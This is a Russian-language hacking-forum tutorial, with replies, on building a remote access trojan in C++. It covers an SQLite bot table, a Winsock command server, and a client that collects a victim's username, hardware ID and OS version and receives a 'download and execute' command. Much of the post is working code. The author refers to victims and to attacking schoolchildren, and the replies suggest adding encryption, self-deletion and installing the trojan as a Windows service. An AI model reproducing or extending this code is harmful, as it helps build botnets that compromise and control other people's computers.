Синяя стрелка - придумать имя таблицы в этой базе данных, у меня она будет называться «BOT»; Красная стрелка - добавить поля в эту таблицу, что бы сохранять в будущем информацию именно в них. Фиолетовая стрелка вам в качестве бонуса, тут делать ничего не нужно, просто она покажет какой «sql» запрос сгенерировала программа, для того что бы создать таблицу и поля, может если вы крутой хакер, вы можете добавить в неё дополнительные команды на свой вкус.

Сейчас распишу за что отвечает каждое конкретное поле: NOMER - это число которое будет не равно нулю, и будет отвечать за номер элемента в массиве сокетов SOCKETS в самом коде сервера. То есть, каждой записи в таблице будет соответствовать свой сокет в этом массиве, так я обычно делаю, что бы избавиться от лишней головомойки. Если вы лично считаете что это плохо, то я бы готов услышать альтернативные варианты и научится чему то новому, но пока это так и будет продолжаться пока не будет доступных альтернатив, тем более у нас не убер-вафле-панцер, а нормальный такой ратник, где мы общаемся с клиентом онлайн.

Про поля USERNAME, OSVER, HWID, OTVET вы уже знаете, они будут текстовыми, потому что так пока что мне хочется и это надо в будущем. В данной программе выставляем всё как у меня и нажимаем на кнопку сохранить, а так же сохраняем в интерфейсе нашу базу данных, и двигаемся дальше...

Посмотреть вложение 10514

Во вкладке «Данные» вы можете увидеть редактор информации в нашей созданной таблице, где каждому полю, столбцу в полях будут соответствовать различные записи, которые вы можете добавить самостоятельно (синяя стрелка), либо же удалить их (красная стрелка соответственно).

Посмотреть вложение 10515

Поле которое я очертил красным будет в будущем содержать записи с вашими ботами, которые удалить, просмотреть, но это уже не важно, мы двигаемся дальше.
Начинаем создавать проект, я буду использовать VS 2015, компилировать проект под x86 архитектуру.

Посмотреть вложение 10516

Создам проект, называем его как-нибудь очень по крутому, так делают настоящие хакеры (шучу конечно).

Посмотреть вложение 10517

Выбираем проект Win32, тыкаем кнопку - «ОК», затем в открывшимся окне, нажимаем кнопку «Далее», в следующем окне, вы делаете все как я в ам скажу, по порядку - тыкаем где синяя стрелка на «Консольное приложение», потом где Фиолетовая стрелка на «Предварительно скомпилированный заголовок», затем убираем галочку на «Проверках жизненного цикла», и там где красная стрелка - отмечаем «Пустой проект», нажимаем на кнопку «Готово».

Посмотреть вложение 10518


Коденг:

Секунды загрузки и вы переноситесь в редактор, где мы будем прибывать большую часть нашего времени. Немного пройдёмся по интерфейсу, а дальше начнём писать код сервера.

Посмотреть вложение 10519
Слева на право по порядку - Оранжевая стрелка (не лимонно-лаймовая) открывает нам контекстное меню с очень полезной кнопкой «Собрать решение», Зеленная стрелка с выпадающим списком из того что вы можете сделать с вашим проектом, например - создать версию для дебага или релизную для использования в дикой природе, или выбрать архитектуру для вашего приложения например x86 или X64; Фиолетовая стрелка - то место где будут открываться ваши файлы - что то наподобие прокаченного текстового редактора для кода. Бирюзовая стрелка указывает на файл проекта, если жмякнуть на неё правой кнопкой мыши, то выпадает контекстное меню с очень полезными настройками под кнопкой «Свойства», это будут свойства нашего проекта, в которые мы обязательно ещё залезем в рамках данной статьи.

Синяя стрелка указывает на папку(хотя это не папка) «Заголовочные файлы» в ней мы будем как бы хранить заголовки нашего проекта(*.h;*.hpp и так далее), их будет не много, но это важно. Красная стрелка указывает на «Файлы исходного кода», где как бы мы будем хранить код нашего сервера или ратника(клиента), файлы будут добавляться согласно расширению (*.c;*.cpp и так далее).

Жмякнем правой кнопкой на «Файлы исходного кода», и выберем поле «Добавить» - «Создать элемент»,

Посмотреть вложение 10520

Выбираем поле «Файл С++» и нажимаем кнопку «Добавить», и у нас открывается новая страница в редакторе, где мы и будем творить бесчинства, дальнейший текст уже требует обладанием больших навыков чем чтение, так что ребята, дальше разжёвывать для 0 больше не могу.
Мы приступаем к созданию сервера! Урааа!

C++:
#include "winsock.h"
#pragma comment(lib, "ws2_32")
int main()
{

}

Добавляем заголовочный файл сокетов для вин32, добавляем в линковку ws2_32.lib, и создаём функцию main.
Ну что ребят, давайте придумаем согласно нашей таблице первые структуры данных, первые переменные и функции для обработки поступающих данных.
Я объявлю новую глобальную переменную перед функцией мейн - массив сокетов DWORD SOCKETS[10000], в которые буду сохранять по номерам из базы данных, сокеты подключившихся клиентов, например так:
«Если значение NOMER в базе данных которому соответствует USERNAME, OSVER, HWID равно 1, то сокет подключения сохраняется в SOCKETS[1], если номер равен 2, то естественно SOCKETS[2], и так далее - SOCKETS[NOMER]. Примерно логику работы подключений вы поняли, теперь нам нужно создать структуру данных отвечающую за регистрацию пользователя. А теперь к ней у старших по форуму и кодингу могут быть претензии, в данном продукте мне очень важно что бы передавались имена пользователя, версии ос и хвид в чарах, так как на самом деле, проект пишется под linux, а клиент под виндовс тут будет написан только в рамках этой статьи (будьте лапушками, это не повлияет никак на работоспособность данного софта).
Объявляем структуру для клиентов:

C++:
struct CLIENTS
{
    SOCKET NUMBER;
    char USERNAME[100];
    char OSVER[100];
    char HWID[100];
};

Теперь мы можем переделать наш массив SOCKETS[10000] под массив из структур CLIENTS и будет он выглядеть так:

C++:
CLIENTS SOCKETS[10000];

Правда же получается удобно и замечательно? Мне тоже так кажется, теперь мы можем хранить данные ботов в озу, и обращаться к ним при манипуляциях с базой данных и тому подобных операциях. Так как в рамках данной статьи мы работаем на сокетах, то давайте попробуем, инициализировать необходимые структуры для winsock, а так же поставить наш сервер на прослушивание входящих сообщений, от клиентов:

C++:
SOCKET sListen;
sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(80);
int sizeofaddr = sizeof(addr);
sListen = socket(AF_INET, SOCK_STREAM, NULL);
bind(sListen, (SOCKADDR*)&addr, sizeofaddr);
listen(sListen, SOMAXCONN);
{

}

Наш сервер будет прослушивать все входящие соединения со всех IP на данном компьютере(дедике, сервере) на восьмидесятом порту. У вас получится как у меня на скриншоте:

Посмотреть вложение 10521

Далее нам будет необходимо поставить создать ещё одну структуру, которая будет отвечать за протокол общения нашего сервера с клиентами, и назовём её просто:

C++:
struct CMDiDATA
{
    DWORD CMD;
    char DATA[1000];
};

Первое поле структуры у нас отвечает за номер команды - например хейдшейк у нас будет с номером 0, а запрос на загрузку файла - 1. Так мы сможем отличать типы данных которые к нам приходят во втором поле - DATA, а в ней мы можем хранить другие структуры, например CLIENTS. Давайте представим что к нам подключился новый клиент, после подключения, он отправляет нам «рукопожатие», в виде структуры СMDiDATA, где CMD = 0, а DATA = CLIENTS, CLIENTS мы можем разобрать на данные USERNAME, OSVER, HWID, в соответствии с максимальным номером + 1 в таблице базы данных которую мы создавали, присвоить полю NUMBER в структуре CLIENTS сокет и сохранить эту структуру как зарегистрированную в массив SOCKETS под новым номером, что бы далее с ней играться как нам вздумается. Давайте это и сделаем!

Код:
for (;;) //цикл приема клиентов - он будет ожидать выполнения accept
{
    sockaddr_in addr; //в другой раз объясню зчм
    //при подключении нового клиента каждый раз наша функция accept будет срабатывать
    //и новый клиент будет регистрироваться под сокетом newConn
    SOCKET newConn = accept(sListen, (sockaddr*)&addr, &sizeofaddr);
    {
        CMDiDATA indata; //создаем структуру отвечающую за протокол
        CLIENTS client; //создаем структуру отвечающую за инфу о клиенте
        memset(&indata, 0, sizeof(CMDiDATA)); //почистим
        memset(&client, 0, sizeof(CLIENTS)); //почистим
        recv(newConn, (char*)&indata, sizeof(CMDiDATA), 0); //прием сообщения от клиента
            
        if (indata.CMD == 0) //если CMD = 0, то это хендшейк
        {
            memcpy(&client, indata.DATA, sizeof(CLIENTS)); //копируем DATA в структуру client
        }
    }
}

Далее мы просто смотрим чему будет равно поле CMD, если будет равно нулю, то мы можем сказать точно, что внутри должны находиться данные со структурой CLIENTS, а значит мы сможем спокойно скопировать данные DATA в client и работать с полученными данными уже в базе данных. Немного отступлю и расскажу о том что данный код в первозданном виде - небезопасен, потому что атакующий ваш ратник может отослать sql инъекцию в данных структурах, и просто дропнуть вашу таблицу. Будьте аккуратны, потому что я вам в рамках данной статьи рассказываю о построении серверной и клиентской части независимо от безопасности, данный код служит примером, и ни чем более.

Перейдём к нашим баранам. Теперь мы можем получить данные о клиенте, всего лишь обращаясь к полям этой структуры:

C++:
client.HWID;
client.OSVER;
client.USERNAME;

Закинем в папку с нашим проектом два файла отвечающих за работу с нашей базой данных, давайте добавим их в проект

Посмотреть вложение 10522
Посмотреть вложение 10524

В заголовочные файлы мы добавим sqlite3.h
В файлы исходного кода добавим соответственно sqlite3.с
В файле Source.cpp, где мы пишем код - добавим объявление заголовочного файла
#include “sqlite3.h”
И приступаем к написанию запросов к нашей базе данных, будем выяснять - а зарегистрировали ли уже этот клиент, а если он не зарегистрирован, то какой крайний номер в этой базе данных записей, и когда узнаем этот номер, мы прибавим к нему единичку и зарегистрируем в этой базе данных (интерпола) новичка (как я на этом форуме), под новым номером, и запишем в неё эти данные.
Во первых при инициализации WSADataв коде, мы еще добавим открытие базы данных:

C++:
sqlite3* db;
sqlite3_open("bots.db", &db);

Что бы могли считывать и отправлять в неё данные c помощью sql запросов. А далее мы пишем код по регистрации нашего бота в базе данных, я оставляю комментарии, что бы вам было максимально удобно:

Посмотреть вложение 10525

Красная стрелка - выражение для того что бы узнать есть ли тот юзер в базе данных и если он есть - то получить номер его в таблице, Синяя стрелка - если юзер в бд присутствует, то мы обновляем его статус на онлайн, Зеленная стрелка - если юзера ещё нет в бд, то мы получаем максимальное число NOMER из таблицы, плюсуем к нему единичку, и создаём новую запись в базе данных как нового клиента. Таким образом мы завершили регистрацию юзера в базе данных, но ещё не в самой программе, что бы это сделать мы должны присвоить присвоить структуру клиента в массив клиентов:

C++:
SOCKETS[NOMER].NUMBER = newConn;
memcpy(SOCKETS[NOMER].HWID, client.HWID, sizeof(client.HWID));
memcpy(SOCKETS[NOMER].USERNAME, client.USERNAME, sizeof(client.USERNAME));
memcpy(SOCKETS[NOMER].OSVER, client.OSVER, sizeof(client.OSVER));

Посмотреть вложение 10526

Таким образом мы сохранили нашего клиента, и можем обращаться к нему напрямую что бы получать и отправлять ему различные команды.
Давайте немного теперь коснёмся потоков в winapi, написанию консольных приложений, и о том как мы будем все это вместе миксовать на сервере...
Для того что бы наш сервер мог работать с клиентами, например, узнавать что они онлайн, и мы друг другу (в смысле я атакующий школьников и сервер) не мешали, нам нужно создать отдельную функцию в отдельном потоке, например - функцию isOnline:

Посмотреть вложение 10527

Где мы будем, проверять статус клиентов которые онлайн - каждые десять секунд, и если им не удалось отправить сообщение, значит - наши клиенты офалайн, и работать с ними уже нельзя. Фиолетовая стрелка sql запрос на получение всех клиентов с ответом = 1, Красной стрелкой указаны две дополнительных функции, которые RecvStat - просто функция которая возращает булевое значение - тру или фолс, после того как с помощью третей функции sendint пытается отослать число 0. Синей помечены возвращаемые значения, если функция send из библиотеки winsock смогла отослать число или нет.
А функцию проверки на онлайн мы будем вызывать при инициализации нашего сервера, в отдельном потоке:

C++:
CreateThread(NULL, 0, isOnline, NULL, 0, 0);

Посмотреть вложение 10528

Итак уже все готово в принципе для того что бы мы попробовали сделать нашего клиента, давайте создадим новый проект для него по такой же схеме как мы создавали его для сервера, и именно скопируем в Source.cpp проекта ратника все структуры которые мы объявляли для протокола и клиента, важно что бы они были идентичны, что в ратнике, что на сервере:

Посмотреть вложение 10529

Далее мы инициализируем винсок, и конечно же попытаемся подключится к серверу:

Посмотреть вложение 10530

Красной стрелочкой отмечен порт по которому мы подключаемся к серверу, а синей адрес в интернете, если подключение с помощью функции connect будет удачным, и равно нулю, мы пойдём дальше отсылать данные серверу в наших импровизированных структурах.

Посмотреть вложение 10533

Красным квадратом я выделил, то как мы заполняем структуру клиента, синим как мы присваиваем структуре протокола номер команды и копируем структуру клиента в массив чаров indata.DATA. Фиолетовый квадрат у нас отсылка структуры indata на сервер. После отсылки я закрываю сокет так как он нам пока не нужен, но закрытие его нужно для тестировании функции которая будет отвечать за проверку клиента на онлайн, те закрыв данный сокет в клиенте, мы отсоединились от сервера таким вот образом и стали офлайн.
По данной ссылке я загрузил видео на мегу, для того что бы вы могли посмотреть предварительный тест приложения, в данном виде.
Если вам не интересно, скажу то что все в видео хорошо:) В клиенте мы добавляли рандомные данные, для того что бы получать действительно данные компьютера жертвы, нам нужно создать три отдельных функции для ХВИД, ЮСЕРНЕЙМА, ВЕРСИИОС. Что бы получить версию ос, я подключу заголовочный файл ntdll.h к проекту клиента, в заголовочные файлы, для того что бы я мог воспользоваться набором структур, и вытащить из PEB нужные данные.

Посмотреть вложение 10534
Посмотреть вложение 10535

Создаю крутую функцию что бы получить из Пеба (Почитайте про него подробнее статьи у XShar) номер версии ос:

Посмотреть вложение 10536

Далее создаю ещё две функции для получения имени юзера и хвида, всё в принципе идеально, и можно уже вызвать эти функции и отправить их серверу:

C++:
void GetHwid(char** hwid)
{
    int CPUInfo[4];
    PIP_ADAPTER_INFO pAdapterInfo;
    IP_ADAPTER_INFO AdapterInfo[16];
    DWORD dwBufLen;
    wchar_t mac[8] = { 0x1, 0x2, 0x1, 0x2, 0x1, 0x2, 0x1, 0x2 };
    __cpuid(CPUInfo, 0);
    dwBufLen = sizeof(AdapterInfo);
    GetAdaptersInfo(AdapterInfo, &dwBufLen);
    pAdapterInfo = AdapterInfo;
    do
    {
        int i;
        for (i = 0; i < 8; i++)
        {
            mac[i] = mac[i] + pAdapterInfo->Address[i];
        }
        pAdapterInfo = pAdapterInfo->Next;
    } while (pAdapterInfo);
    *hwid = (char*)realloc(*hwid, 100);
    wsprintfA(*hwid, "%x%x%x%x%x%x%x%x%x%x%x%x",
        CPUInfo[0], CPUInfo[1], CPUInfo[2],
        CPUInfo[3], mac[0], mac[1],
        mac[2], mac[3], mac[4],
        mac[5], mac[6], mac[7]);
}

void GetUsername(char** username)
{
    DWORD size = UNLEN + 1;
    *username = (char*)realloc(*username, UNLEN + 1);
    GetUserNameA(*username, &size);
}

void GetOS(char** os)
{
    PPEBME pPeb = (PPEBME)__readfsdword(0x30);
    *os = (char*)realloc(*os, sizeof(DWORD) * 12);
    wsprintfA(*os, "%d.%d.%d", pPeb->NtMajorVersion, pPeb->NtMinorVersion, pPeb->NtBuildNumber);
}

Посмотреть вложение 10537

Так теперь считаем что с клиентом мы пока закончили, теперь вернёмся к серверу, и научим его принимать команды от нас, а так же отдавать их клиенту:) Создадим функцию, которая как и функция проверки на онлайн будет вертеться у нас в отдельном потоке:

C++:
DWORD WINAPI ConsoleReader(LPVOID param)
{
    while (TRUE)
    {
        string line = { 0 };
        getline(cin, line);
        char* mycmd = strdup(line.c_str());

        if ((mycmd[0] == 'm' && mycmd[1] == 'a' && mycmd[2] == 'n'))
        {
            //тут можно напечатать команды которые можно писать в консоли

        }
        else if ((mycmd[0] == 'c' && mycmd[1] == 'm' && mycmd[2] == 'd'))
        {
            //тут мы создаем какую нибудь команду и отсылаем ее клиенту

        }
        else if ((mycmd[0] == 'o' && mycmd[1] == 'n' && mycmd[2] == 'l'))
        {
            //печатаем всех клиентов онлайн
            PrintOnlineClients();
        }
        else if ((mycmd[0] == 'c' && mycmd[1] == 'l' && mycmd[2] == 's'))
        {
            //очистим консоль
            system("cls");
        }
    }
}

Такую функцию которая будет считывать наш ввод с клавиатуры и разбирать его на отдельные прикольные команды, и отсылать эти команды клиенту...

Посмотреть вложение 10538

Теперь научимся парсить из консоли команду которую хотим отослать боту, для этого нужно придумать как мы будем её печатать, допустим первые три символа у нас будет «сmd», далее у нас будет номер клиента «1», следующим у нас будем какая-нибудь команда например на загрузку файла, а потом ссылка на этот файл и разделено все будет двоеточием «:»:



Давайте приступим к реализации… Создадим структуру которая будет отвечать за хранение URL, будет все тоже самое как и в CLIENT:

C++:
struct DLE
{
    char URL[1000];
};

А далее мы будем развивать парсинг команды которую мы ввели:

C++:
//тут мы создаем какую нибудь команду и отсылаем ее клиенту
if (mycmd[3] == ':') // если следуший символ двоеточие
{
    int NOMER = 0; //создаем число которое изначально будет равно нулю
    char NUMCHAR[sizeof(int)]; //создаем массив чаров по размеру числа
    memset(NUMCHAR, 0, sizeof(NUMCHAR)); //очищаем его
                
    //создаем цикл в котором будем перебирать символы в команде, пока не наткнемся на двоеточие,
    //если символ не равен двоеточию он будет записан в NUMCHAR
    int i, j;
    for (i = 4, j = 0; ; i++, j++)
    {
        if (mycmd[i] == ':')
        {
            break;
        }
        NUMCHAR[j] = mycmd[i];
    }
    //конвертируем NUMCHAR в число NOMER
    NOMER = atoi(NUMCHAR);       
    //а теперь начинаем парсить команды команд:) тафталогия но и всё равно
    if ((mycmd[i + 1] == 'd' && mycmd[i + 2] == 'l' && mycmd[i + 3] == 'e')) //download and execute - скачать и запустить
    {
        if (mycmd[i + 4] == ':') //если некст символ равен двоеточию
        {
            //то начинаем чистать в чары url наш урл из команды
            char url[1000];
            memset(url, 0, sizeof(url));
            int x, y;
            for (x = i + 5, y = 0; ; x++, y++)
            {
                if (mycmd[x] == 0) //пока строка не завершится
                {
                    break;
                }
                url[y] = mycmd[x];
            }
            if (url[0] != 0) //если первый символ массива чаров url не равен нулю
            {
                printf("\n\t zagruzka u vupolnenie url: %s...; NOMER: %d", url, NOMER);
                CMDiDATA indata; //создаем структуру отвечающую за протокол
                DLE dlecmd; //инициализируем структуру которая будет отвечать за хранение URL
                //по сути мы могли бы просто скопировать урл в indata.DATA, но я тут конечно
                //немного расширю данную функциональность структуры, так что лучше будет так
                memset(&indata, 0, sizeof(CMDiDATA)); //почистим
                memset(&dlecmd, 0, sizeof(DLE)); //почистим
                memcpy(dlecmd.URL, url, sizeof(url)); //скопируем url в структуру DLE
                indata.CMD = 1; //присвоим номер команды для загрузки файла
                memcpy(indata.DATA, dlecmd.URL, sizeof(dlecmd.URL)); //скопируем DLE в indata.DATA
                send(SOCKETS[NOMER].SOCKET, (char*)&indata, sizeof(CMDiDATA), 0); //отпарвляем протокольную структуру на клиент по номеру NOMER в массиве SOCKETS
            }
        }
    }
}

В клиенте же мы можем создать тред приема сообщений:

C++:
DWORD WINAPI RecvThread(LPVOID param)
{
    while (TRUE)
    {
        CMDiDATA indata; //создаем структуру отвечающую за протокол
        memset(&indata, 0, sizeof(CMDiDATA)); //почистим
        if (sizeof(CMDiDATA) == recv(Socket, (char*)&indata, sizeof(CMDiDATA), 0)); //прием сообщения от клиента
        {
            printf("cmd recv cmd: %d\n", indata.CMD);
            switch (indata.CMD)
            {
                case 1://если indata.cmd == 1
                {
                    DLE dle; //инициализируем структуру DLE
                    memset(&dle, 0, sizeof(dle)); //очищаем ее
                    memcpy(&dle, indata.DATA, sizeof(indata.DATA)); //и копируем в нее indata.DATA
                    printf("url: %s\n", dle.URL); //напечатаем пришедший урл
                    CreateThread(NULL, 0, DLEFUNC, (LPVOID)dle.URL, 0, 0);
                    break;
                }
                default:
                    break;
            }
        }
    }
}

И заставить программу ожидать пока этот тред не завершится:

Код:
HANDLE RECV = CreateThread(NULL, 0, RecvThread, NULL, 0, 0); //создаем тред который будет бесконечно принимать сообщения от сервера
WaitForSingleObject(RECV, INFINITE); //Бесконечно ожидаем пока этот тред работает...

А так же для того что бы обрабатывать отдельно каждую команду ведь она может выполняться бесконечно из за любых ошибок и в коде, и в командах, то мы можем создать отдельный тред в RecvThread:

C++:
CreateThread(NULL, 0, DLEFUNC, (LPVOID)dle.URL, 0, 0);

Который будет выполнять Хеллоу Ворд функцию, из чисто визуальных соображений:

C++:
DWORD WINAPI DLEFUNC(LPVOID url)
{
    char *urlarrdfile = (char*)url;
    printf("na4inau ska4ivanie faula: %s\n", urlarrdfile);
    return 0;
}

Думаю на этом можно закончить эту статью или лучше оформить как первую часть(? вообщем зависит от ваших комментариев), ведь писать можно бесконечно долго, но я считаю, что для новичков я объяснил хотя бы базовые основы Winsock, рассказал базу потоков, и создал нормальную основу клиент серверного приложения, функционал в который можно добавлять бесконечно по вашему усмотрению. Все файлы будут лежать на гитхабе, а видео с конечными испытаниями того что получилось тут. А гитхаб тут.

Будьте классными:)
 
Я бы посоветовал использовать I/O Completion Ports, для сервера. Для шифрования траффика можно добавить RC4, chacha20, они достаточно просты для демонстрации и имеют право на жизнь. Можно добавить еще функцию самоудаления. Можно еще добавить установку в качестве сервиса windows.
 
Последнее редактирование:
Я бы посоветовал использовать I/O Completion Ports, для сервера. Для шифрования траффика можно добавить RC4, chacha20, они достаточно просты для демонстрации и имеют право на жизнь. Можно добавить еще функцию самоудаления. Можно еще добавить установку в качестве сервиса windows.

Can you demo chacha20 on C/C++ code if possible?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Пожалуйста, обратите внимание, что пользователь заблокирован
But to code or develop on the other offensive side with C/C++, can you demo that?
There's a C++ implementation of Chacha20 on the wiki page I've posted, what more do you need?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх